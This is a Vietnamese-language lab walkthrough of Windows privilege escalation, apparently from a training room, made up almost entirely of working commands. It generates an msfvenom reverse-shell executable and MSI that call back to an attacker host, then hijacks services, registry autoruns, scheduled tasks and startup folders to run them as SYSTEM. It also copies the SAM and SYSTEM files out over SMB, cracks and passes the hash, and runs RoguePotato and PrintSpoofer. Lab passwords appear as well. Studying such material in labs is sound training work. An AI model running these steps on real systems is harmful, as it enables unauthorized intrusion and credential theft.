Windows PrivEsc
Generate a Reverse Shell Executable
Service Exploits - Insecure Service Permissions
Service Exploits - Unquoted Service Path
Service Exploits - Weak Registry Permissions
Service Exploits - Insecure Service Executables (Modifiable Service Files)
Registry - AutoRuns
Registry - AlwaysInstallElevated
Passwords - Registry
Passwords - Saved Creds
Passwords - Security Account Manager (SAM)
Passwords - Passing the Hash
Scheduled Tasks
Insecure GUI Apps
Startup Apps
Token Impersonation - Rogue Potato
Token Impersonation - PrintSpoofer
Tham khảo
Bắt đầu
xfreerdp /u:user /p:password321 /cert:ignore /v:10.10.54.27
Generate a Reverse Shell Executable
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.21.227.96 LPORT=53 -f exe -o reverse.exe
sudo impacket-smbserver kali .
copy \\10.21.227.96\kali\reverse.exe C:\PrivEsc\reverse.exe
C:\PrivEsc\reverse.exe

Service Exploits - Insecure Service Permissions
C:\PrivEsc\accesschk.exe /accepteula -uwcqv user daclsvc

SERVICE_CHANGE_CONFIG → user có thể thay đổi cấu hình service.
Quyền thay đổi cấu hình → đổi đường dẫn BINARY_PATH_NAME thành file thực thi tùy ý (ví dụ reverse shell hoặc cmd.exe).
sc qc daclsvc

PE
sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\""
net start daclsvc


Service Exploits - Unquoted Service Path
sc qc unquotedsvc

SERVICE_START_NAME : LocalSystem → service chạy với quyền SYSTEM.
BINARY_PATH_NAME : C:\Program Files\Unquoted Path Service\SomeBinary.exe → đường dẫn có spaces nhưng không có dấu ngoặc kép.
Windows khi parse path sẽ thử lần lượt:
C:\Program.exeC:\Program Files\Unquoted.exeC:\Program Files\Unquoted Path Service\Common.exe

Sử dụng accesschk.exe, BUILTIN\Users được phép ghi (write) vào thư mục C:\Program Files\Unquoted Path Service\
C:\PrivEsc\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"

Ý nghĩa tham số:
/accepteula→ tự động chấp nhận EULA.-u→ chỉ ra user/group.-w→ kiểm tra quyền ghi (write).-d→ liệt kê quyền với directories.-q→ im lặng, chỉ show kết quả quan trọng.
Thực hiện đổi tên revershell thành Common.exe
copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"
net start unquotedsvc

Service Exploits - Weak Registry Permissions
Service này chạy với quyền localsystem
sc qc regsvc

Dùng accesschk.exe, lưu ý rằng registry entry của service regsvc có thể được ghi (writable) bởi group "NT AUTHORITY\INTERACTIVE" (nghĩa là tất cả user đã đăng nhập).
C:\PrivEsc\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc

NT AUTHORITY\INTERACTIVE có KEY_ALL_ACCESS.
INTERACTIVEnghĩa là tất cả user đang đăng nhập local đều thuộc nhóm này.KEY_ALL_ACCESS = bạn có toàn quyền (đọc/ghi/xóa/sửa) trên registry key đó.
Ghi đè (overwrite) khóa registry ImagePath để trỏ đến file thực thi reverse.exe đã tạo.
reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
Mỗi Windows service được định nghĩa trong registry, ví dụ:
HKLM\SYSTEM\CurrentControlSet\Services\regsvc
Trong key này có một giá trị quan trọng: ImagePath, chứa đường dẫn đến file .exe sẽ chạy khi service khởi động.
Ví dụ:
ImagePath REG_EXPAND_SZ C:\Program Files\Reg Service\regsvc.exe
Nếu bạn có quyền write vào key đó (như phát hiện bằng accesschk), bạn có thể thay đổi đường dẫn để nó chạy một file do bạn kiểm soát, ví dụ C:\PrivEsc\reverse.exe.
Rồi start service
net start regsvc
Service Exploits - Insecure Service Executables (Modifiable Service Files)
Vẫn phải kiểm tra service chạy dưới quyền LocalSystem
sc qc filepermsvc

Sử dụng công cụ accesschk.exe, hãy kiểm tra và ghi nhận rằng file thực thi của service (được chỉ định trong BINARY_PATH_NAME) có quyền ghi (writable) cho tất cả mọi người.
C:\PrivEsc\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"

Do đó có thể ghi đè file filepermservice.exe bằng file revershell.
copy C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe" /Y
net start filepermsvc

Registry - AutoRuns
Truy vấn registry để liệt kê các chương trình được cấu hình tự động chạy khi Windows khởi động.
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Dùng accesschk.exe để kiểm tra quyền, và nhận thấy rằng một trong những file thực thi AutoRun có quyền ghi (writable) cho tất cả mọi người.
C:\PrivEsc\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"

Sau đó copy file revershell vào Folder Autorun
copy C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe" /Y
rdesktop 10.10.54.27
Sau đó chờ người khác login.
Registry - AlwaysInstallElevated
AlwaysInstallElevated là một Windows Installer policy.
Khi cả HKLM (machine-wide) và HKCU (per-user) cùng có giá trị 1, thì mọi file MSI (Windows Installer package) sẽ được cài đặt với quyền SYSTEM.
Query registry AlwaysInstallElevated phải có value 0×01
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Do đó tạo file revershell.msi
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.21.227.96 LPORT=53 -f msi -o reverse.msi
Copy vào


Hoặc
msiexec /quiet /qn /i C:\PrivEsc\reverse.msi

Passwords - Registry
(Tuỳ lúc lab sẽ có kết quả → Nếu không trả về thì …)
Tìm password trong registry. Có thể quét toàn bộ registry(ra nhiều kết quả):
reg query HKLM /f password /t REG_SZ /s
Nhưng để tiết kiệm thời gian chỉ chú ý tới AutoLogon
C:\Users\user>reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\winlogon
AutoRestartShell REG_DWORD 0x1
Background REG_SZ 0 0 0
CachedLogonsCount REG_SZ 10
DebugServerCommand REG_SZ no
DefaultDomainName REG_SZ
DefaultUserName REG_SZ admin
DisableBackButton REG_DWORD 0x1
EnableSIHostIntegration REG_DWORD 0x1
ForceUnlockLogon REG_DWORD 0x0
LegalNoticeCaption REG_SZ
LegalNoticeText REG_SZ
PasswordExpiryWarning REG_DWORD 0x5
PowerdownAfterShutdown REG_SZ 0
PreCreateKnownFolders REG_SZ {A520A1A4-1780-4FF6-BD18-167343C5AF16}
ReportBootOk REG_SZ 1
Shell REG_SZ explorer.exe
ShellCritical REG_DWORD 0x0
ShellInfrastructure REG_SZ sihost.exe
SiHostCritical REG_DWORD 0x0
SiHostReadyTimeOut REG_DWORD 0x0
SiHostRestartCountLimit REG_DWORD 0x0
SiHostRestartTimeGap REG_DWORD 0x0
Userinit REG_SZ C:\Windows\system32\userinit.exe,
VMApplet REG_SZ SystemPropertiesPerformance.exe /pagefile
WinStationsDisabled REG_SZ 0
scremoveoption REG_SZ 0
DisableCAD REG_DWORD 0x1
LastLogOffEndTimePerfCounter REG_QWORD 0x236f172d
ShutdownFlags REG_DWORD 0x7
AutoAdminLogon REG_SZ 0
AutoLogonSID REG_SZ S-1-5-21-3025105784-3259396213-1915610826-1001
LastUsedUsername REG_SZ admin
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\winlogon\AlternateShells
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\winlogon\GPExtensions
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\winlogon\UserDefaults
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\winlogon\AutoLogonChecked
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\winlogon\VolatileUserMgrKey
Các giá trị hay gặp:DefaultUserName, DefaultPassword, AutoAdminLogon. Nếu DefaultPassword tồn tại →lấy được password admin. Nếu không có (một số lab không lưu pass)
Sau đó từ máy kali dùng winexe để spawn administrator.
winexe -U 'admin%password123' //10.10.16.130 cmd.exe

\=> Không xuất hiện pass có thể lab lỗi.
Passwords - Saved Creds
Liệt kê tất cả credentials đã lưu
cmdkey /list

Sau đó có thể dùng credentials đã save để login
runas /savecred /user:admin C:\PrivEsc\reverse.exe

Passwords - Security Account Manager (SAM)
Các tệp SAM và SYSTEM có thể được sử dụng để trích xuất hash mật khẩu người dùng.
Lấy các tệp này ra máy kali
copy C:\Windows\Repair\SAM \\10.21.227.96\kali\
copy C:\Windows\Repair\SYSTEM \\10.21.227.96\kali\
Trên Kali, hãy clone repository creddump7 (phiên bản có sẵn trên Kali đã lỗi thời và sẽ không trích xuất được hash chính xác trên Windows 10!).
Sau đó, sử dụng nó để dump các hash từ tệp SAM và SYSTEM.
git clone https://github.com/Tib3rius/creddump7
pip3 install pycrypto
python3 creddump7/pwdump.py SYSTEM SAM
Sau đó crack admin HTML bằng hashcat
hashcat -m 1000 --force <hash> /usr/share/wordlists/rockyou.txt
Passwords - Passing the Hash
Cái này chỉ là lấy hash được account rồi pth.
pth-winexe -U 'admin%hash' //10.10.16.130 cmd.exe
Scheduled Tasks
Đọc content tại C:\DevTools\CleanUp.ps1`
type C:\DevTools\CleanUp.ps1

Tập lệnh này đang được lập lịc là chạy với quyền SYSTEM mỗi phút. Sử dụng accesschk.exe để xác định có quyền ghi.
C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1

Do đó thêm dòng chạy revershell rồi chờ cho Scheduled Task chạy.
echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1
Insecure GUI Apps
Kết nối RDP bằng tài khoản "user":
rdesktop -u user -p password321 10.10.16.130
Chạy "AdminPaint": Double-click shortcut AdminPaint trên Desktop. Đây là một chương trình (Paint) nhưng được cấu hình chạy với quyền admin.
Xác nhận Paint chạy với admin privileges
tasklist /V | findstr mspaint.exe
Lợi dụng hộp thoại "Open" trong Paint: Trong Paint, bấm File → Open. Ở thanh điều hướng (navigation input box), dán đường dẫn:
file://c:/windows/system32/cmd.exe
Nhấn Enter → sẽ mở cmd.exe nhưng sẽ là quyền admin từ Paint.

Startup Apps
Sử dụng accesschk.exe, chú ý BUILTIN\Users phải có quyền write files vào thư mục StartUp:
C:\PrivEsc\accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"

Sử dụng cscript, chạy script C:\PrivEsc\CreateShortcut.vbs, script này sẽ tạo một shortcut mới trỏ đến file reverse.exe thư mục StartUp.

cscript C:\PrivEsc\CreateShortcut.vbs
Sau đó chờ admin login vào.
Token Impersonation - Rogue Potato
Thiết lập socat redirector trên Kali, chuyển tiếp cổng 135 của Kali sang cổng 9999 trên Windows:
sudo socat tcp-listen:135,reuseaddr,fork tcp:10.10.16.130:9999
Khởi động một listener trên Kali. Mô phỏng việc lấy shell của tài khoản dịch vụ bằng cách đăng nhập RDP với user admin, mở một command prompt với quyền Administrator (Run as administrator) và chạy PSExec64.exe để kích hoạt file reverse.exe mà bạn đã tạo với quyền của tài khoản "local service":
C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe
Khởi động một listener khác trên Kali. Bây giờ, trong reverse shell của "local service" mà bạn vừa có được, chạy RoguePotato exploit để kích hoạt một reverse shell thứ hai chạy với quyền SYSTEM.
C:\PrivEsc\RoguePotato.exe -r 10.21.227.96 -e "C:\PrivEsc\reverse.exe" -l 9999
Token Impersonation - PrintSpoofer
Khởi động một listener trên Kali. Mô phỏng việc lấy shell của tài khoản dịch vụ bằng cách đăng nhập RDP với user admin, mở một Command Prompt với quyền Administrator và sử dụng PSExec64.exe để kích hoạt file reverse.exe mà bạn đã tạo, nhưng lần này chạy với quyền của tài khoản "local service":
C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe
Khởi động một listener khác trên Kali. Bây giờ, trong reverse shell của "local service" mà bạn vừa có được, chạy PrintSpoofer exploit để kích hoạt một reverse shell thứ hai chạy với quyền SYSTEM.
C:\PrivEsc\PrintSpoofer.exe -c "C:\PrivEsc\reverse.exe" -i